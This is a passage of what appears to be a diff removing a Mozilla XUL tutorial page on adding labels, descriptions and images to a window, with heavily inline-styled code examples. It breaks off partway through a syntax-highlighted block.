-<div class="editIcon" style="display: inline; margin-left: 4px; font-size: inherit; position: relative;"><a href="/en/XUL_Tutorial/Adding_Labels_and_Images#" style="" title="Edit section"><span class="icon" style="height: 16px;"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></div>
-</h3>
-<p>You cannot embed text directly into a XUL file without tags around it and expect it to be displayed. You can use two XUL elements for this purpose.</p>
-<div id="section_2">
-<h4 class="editable" id="Label_Element" style="margin-top: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-size: 1em;"><span>Label Element</span>
-<div class="editIcon" style="display: inline; margin-left: 4px; font-size: inherit; position: relative;"><a href="/en/XUL_Tutorial/Adding_Labels_and_Images#" style="" title="Edit section"><span class="icon" style="height: 16px;"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></div>
-</h4>
-<p>The most basic way to include text in a window is to use the <code style="font-style: inherit;"><a href="/en/XUL/label" rel="custom nofollow">label</a></code> element. It should be used when you want to place a descriptive label beside a control, such as a button. An example is shown below:</p>
-<p><span class="lang lang-*"><span id="Example_1"><strong>Example 1</strong></span></span> : <a href="http://developer.mozilla.org/samples/xultu/examples/ex_textimage_1.xul.txt" rel="custom nofollow">Source </a><a href="http://developer.mozilla.org/samples/xultu/examples/ex_textimage_1.xul" rel="custom nofollow">View</a></p>
-<pre>&lt;label value="This is some text"/&gt;
-</pre>
-<p>The <code style="font-style: inherit;"><code style="font-style: inherit;"><span id="a-value"><a href="/en/XUL/Attribute/value" rel="custom nofollow">value</a></span></code></code> attribute can be used to specify the text that you wish to have displayed. The text will not wrap, so the text will all be displayed on a single line. This syntax is the most common of labels.</p>
-<p>If the text needs to wrap, you can place the text content inside opening and closing tags as in the following example:</p>
-<p><span class="lang lang-*"><span id="Example_2"><strong>Example 2</strong></span></span> :</p>
-<pre>&lt;label&gt;This is some longer text that will wrap onto several lines.&lt;/label&gt;
-</pre>
-<p>As with HTML, line breaks and extra whitespace are collapsed into a single space. Later, we'll find out <a href="/en/XUL_Tutorial/Element_Positioning" rel="internal">how to constrain the width of elements</a> so that we can see the wrapping more easily.</p>
-<div id="section_3">
-<h5 class="editable" id="Control_Attribute" style="margin-top: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><span>Control Attribute</span>
-<div class="editIcon" style="display: inline; margin-left: 4px; font-size: inherit; position: relative;"><a href="/en/XUL_Tutorial/Adding_Labels_and_Images#" title="Edit section"><span class="icon" style="height: 16px;"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></div>
-</h5>
-<p>You can use the <code style="font-style: inherit;"><code style="font-style: inherit;"><span id="a-control"><a href="/en/XUL/Attribute/control" rel="custom nofollow">control</a></span></code></code> attribute to set which control the label is associated with. When the user clicks on an associated label, that control will be focused. This association is also important for <a href="/en/Accessibility" rel="internal">accessibility</a>, so that screen readers read aloud the label for the control as the user tabs to it. Set the value of the <code style="font-style: inherit;">control</code> attribute to the<code style="font-style: inherit;"><code style="font-style: inherit;"><span id="a-id"><a href="/en/XUL/Attribute/id" rel="custom nofollow">id</a></span></code></code> of the element to be focused.</p>
-<p><span class="lang lang-*"><span id="Example_3"><strong>Example 3</strong></span></span> : <a href="http://developer.mozilla.org/samples/xultu/examples/ex_textimage_3.xul.txt" rel="custom nofollow">Source </a><a href="http://developer.mozilla.org/samples/xultu/examples/ex_textimage_3.xul" rel="custom nofollow">View</a></p>
-<pre>&lt;label value="Click here:" control="open-button"/&gt;
-&lt;button id="open-button" label="Open"/&gt;
-</pre>
-<p>In the example above, clicking the label will cause the button to be focused.</p>
-</div>
-</div>
-<div id="section_4">
-<h4 class="editable" id="Description_Element" style="margin-top: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-size: 1em;"><span>Description Element</span>
-<div class="editIcon" style="display: inline; margin-left: 4px; font-size: inherit; position: relative;"><a href="/en/XUL_Tutorial/Adding_Labels_and_Images#" style="" title="Edit section"><span class="icon" style="height: 16px;"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></div>
-</h4>
-<p>For descriptive text not associated with any particular control, you can use the <code style="font-style: inherit;"><a href="/en/XUL/description" rel="custom nofollow">description</a></code> tag. This element is useful for informative text at the top of a dialog or a group of controls for example. As with the <code style="font-style: inherit;"><a href="/en/XUL/label" rel="custom nofollow">label</a></code> element, you can either use the <code style="font-style: inherit;">value</code> attribute for a single line of text or place text or XHTML content inside opening and closing description tags for longer blocks of text. It is more common to use the attribute syntax for labels, and the text content syntax for descriptions.</p>
-<p><span class="lang lang-*"><span id="Example_4"><strong>Example 4</strong></span></span> : <a href="http://developer.mozilla.org/samples/xultu/examples/ex_textimage_2.xul.txt" rel="custom nofollow">Source </a><a href="http://developer.mozilla.org/samples/xultu/examples/ex_textimage_2.xul" rel="custom nofollow">View</a></p>
-<pre>&lt;description&gt;
- This longer section of text is displayed.
-&lt;/description&gt;
-</pre>
-<p>You can set the text via script using the <a href="/En/DOM/Node.textContent" rel="internal">textContent</a> property, as in the following example:</p>
-<pre>&lt;description id="text" width="200"/&gt;
-
-document.getElementById('text').textContent = "Some lengthy word wrapped text goes here.";
-</pre>
-<p>Internally, both the <code style="font-style: inherit;"><code style="font-style: inherit;"><a href="/en/XUL/label" rel="custom nofollow">label</a></code></code> element and the <code style="font-style: inherit;"><code style="font-style: inherit;"><a href="/en/XUL/description" rel="custom nofollow">description</a></code></code> elements are the same. The <code style="font-style: inherit;"><code style="font-style: inherit;"><a href="/en/XUL/label" rel="custom nofollow">label</a></code></code> element is intended for labels of controls, such as text fields. The <code style="font-style: inherit;">control</code>attribute is only supported for labels. The <code style="font-style: inherit;"><code style="font-style: inherit;"><a href="/en/XUL/description" rel="custom nofollow">description</a></code></code> element is intended for other descriptive text such as informative text at the top of a <code style="font-style: inherit;"><code style="font-style: inherit;"><a href="/en/XUL/dialog" rel="custom nofollow">dialog</a></code></code> box.</p>
-</div>
-</div>
-<div id="section_5">
-<h3 class="editable" id="Images" style="margin-top: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-size: 1.142em;"><span>Images</span>
-<div class="editIcon" style="display: inline; margin-left: 4px; font-size: inherit; position: relative;"><a href="/en/XUL_Tutorial/Adding_Labels_and_Images#" title="Edit section"><span class="icon" style="height: 16px;"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></div>
-</h3>
-<p>XUL has an element to display images within a window. This element is appropriately named <code style="font-style: inherit;"><a href="/en/XUL/image" rel="custom nofollow">image</a></code>. Note that the tag name is different than HTML (<em>image</em> instead of <em>img</em>). You can use the <code style="font-style: inherit;"><code style="font-style: inherit;"><span id="a-src"><a href="/en/XUL/Attribute/src" rel="custom nofollow">src</a></span></code></code> attribute to specify the URL of the image file. The example below shows this:</p>
-<div class="syntaxhighlighter " id="highlighter_405786" style="margin-top: 1em !important; margin-right: 0px !important; margin-bottom: 1em !important; margin-left: 0px !important; padding-top: 1px !important; padding-right: 1px !important; padding-bottom: 1px !important; padding-left: 1px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: rgb(255, 255, 255) !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: relative !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: 1146px; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;">
-<div class="lines" style="margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;">
-<div class="line alt1" style="margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: rgb(255, 255, 255) !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;">
-<table style="margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;"> <tbody> <tr style="margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;"> <td class="number" style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: top !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: 3em !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important; color: rgb(175, 175, 175) !important;"><code style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0.3em !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: right !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: 2.7em !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; display: block !important;">1</code></td> <td class="content" style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0.5em !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 3px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: top !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important; border-left-style: solid !important; color: rgb(0, 0, 0) !important;"><code class="plain" style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; color: rgb(0, 0, 0) !important;">&lt;</code><code class="keyword" style="font-style: normal !important; font-weight: bold !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; color: rgb(0, 102, 153) !important;">image</code> <code class="color1" style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; color: rgb(128, 128, 128) !important;">src</code><code class="plain" style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; color: rgb(0, 0, 0) !important;">=</code><code class="string" style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; color: blue !important;">"images/banner.jpg"</code><code class="plain" style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; color: rgb(0, 0, 0) !important;">/&gt;</code></td> </tr> </tbody>
-</table>
-</div>
-</div>
-</div>
-<p>Although you can use this syntax, it would be better in order to support different themes to use a style sheet to set the image URL. A later section will describe how to<a href="/en/XUL_Tutorial/Adding_Style_Sheets" rel="internal">use style sheets</a>, but an example will be shown here for completeness. You can use the <code style="font-style: inherit;"><a href="/en/CSS/list-style-image" rel="internal">list-style-image</a></code> CSS property to set the URL for the image. Here are some examples:</p>
-<div class="syntaxhighlighter " id="highlighter_573990" style="margin-top: 1em !important; margin-right: 0px !important; margin-bottom: 1em !important; margin-left: 0px !important; padding-top: 1px !important; padding-right: 1px !important; padding-bottom: 1px !important; padding-left: 1px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: rgb(255, 255, 255) !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: relative !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: 1146px; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;">
-<div class="lines" style="margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;">
-<div class="line alt1" style="margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: rgb(255, 255, 255) !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;">
-<table style="margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;"> <tbody> <tr style="margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;"> <td class="number" style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: top !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: 3em !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important; color: rgb(175, 175, 175) !important;"><code style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0.3em !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: right !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: 2.7em !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; display: block !important;">1</code></td> <td class="content" style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0.5em !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 3px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: top !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important; border-left-style: solid !important; color: rgb(0, 0, 0) !important;"><code class="plain" style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; color: rgb(0, 0, 0) !important;">XUL:</code></td> </tr> </tbody>
-</table>
-</div>
-<div class="line alt2" style="margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: rgb(248, 248, 248) !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;">
-<table style="margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;"> <tbody> <tr style="margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;"> <td class="number" style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: top !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: 3em !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important; color: rgb(175, 175, 175) !important;"><code style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0.3em !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: right !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: 2.7em !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; display: block !important;">2</code></td> <td class="content" style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0.5em !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 3px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: top !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important; border-left-style: solid !important; color: rgb(0, 0, 0) !important;"><code class="spaces" style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important;"> </code><code class="plain" style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: 